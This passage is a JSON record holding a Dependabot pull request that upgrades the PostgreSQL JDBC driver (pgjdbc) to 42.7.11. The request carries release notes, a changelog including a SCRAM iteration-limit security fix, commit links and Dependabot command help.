href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.3...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=maven\u0026previous-version=42.7.3\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/gengle/floci/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/gengle/floci/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/gengle%2Ffloci/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}}]}